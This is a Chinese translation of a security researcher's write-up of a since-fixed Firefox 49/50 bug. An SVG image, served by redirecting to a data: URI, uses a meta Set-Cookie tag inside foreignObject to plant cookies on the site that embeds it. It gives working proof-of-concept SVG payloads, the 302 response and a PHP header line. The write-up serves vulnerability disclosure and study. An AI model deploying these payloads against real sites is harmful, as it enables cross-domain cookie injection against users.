原文鏈接:http://insert-script.blogspot.jp/2016/12/firefox-svg-cross-domain-cookie.html

原作者:Alex Inführ

譯:Holic (知道創宇404安全實驗室) , 本文有增改

注:該漏洞只影響 Firefox 49 和 50 版本,詳情參見官方公告

我最近有了解到,瀏覽器允許使用 meta 標簽來設置 cookie 。我不確定我是不是忘了這一特性,或者之前從來沒使用過它。鑒于之前研究過 SVG ,我決定試一下。SVG 的標準不包括 meta 標簽,但它支持 foreignobject 標簽。

<foreignObject> 中的SVG元素允許包含外部 XML 命名空間,該命名空間的圖形內容由不同的 user agent 繪制。

來自 mdn 的一個簡單例子展示了如何在 SVG 文件中使用 XHTML 命名空間。

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
<!-- XHTML content goes here -->
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>
      </body>
</foreignObject>

我修改了以下示例代碼,并將瀏覽器指向下面的 SVG:

<svg xmlns='http://www.w3.org/2000/svg'>
<circle r='100'>
</circle>
<foreignObject>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Set-Cookie' content='ppp=qqq' />
</html>
</foreignObject>
</svg>

宿主域現在有一個 cookie ppp=qqq。

下一步便是嘗試一下了,如果另一個域在加載此 SVG 文件的話,將會發生什么呢:

// Domain: http://example.com

<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie.svg">
</body>

通過 meta 設置cookie

很遺憾,cookie 被設置為 attack.com ,而不是 example.com 。

重定向 + data uri

使它生效的最后一個技巧是使用 data: 協議處理程序和重定向。假設 example.com 域有以下代碼。

<!DOCTYPE html>
<body>
<img src="http://attacker.com/cookie">
</body>

attacker.com 的服務器返回以下響應代碼:

HTTP 302 Found
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>

注:如 php 可以使用以下代碼:

header("Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='svg2=2222qqq' /></html></foreignObject></svg>");

利用 data: 為宿主域設置 cookie

一旦我在 Firefox 瀏覽器中打開此測試用例,就會為 example.com 設置一個 Cookie 。這會為網頁帶來許多不同的漏洞,包括允許包含來自外部/第三方網站的圖像。

在通過 firefox 團隊調查這個問題期間,出現了另一個問題,公開后即可直接閱讀:

https://bugzilla.mozilla.org/show_bug.cgi?id=1317641#c20

目前還在確定該 bug 的獎勵。

我必須感謝我的 Cure53 小伙伴,幫助我研究此漏洞(特別是 Masato


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/136/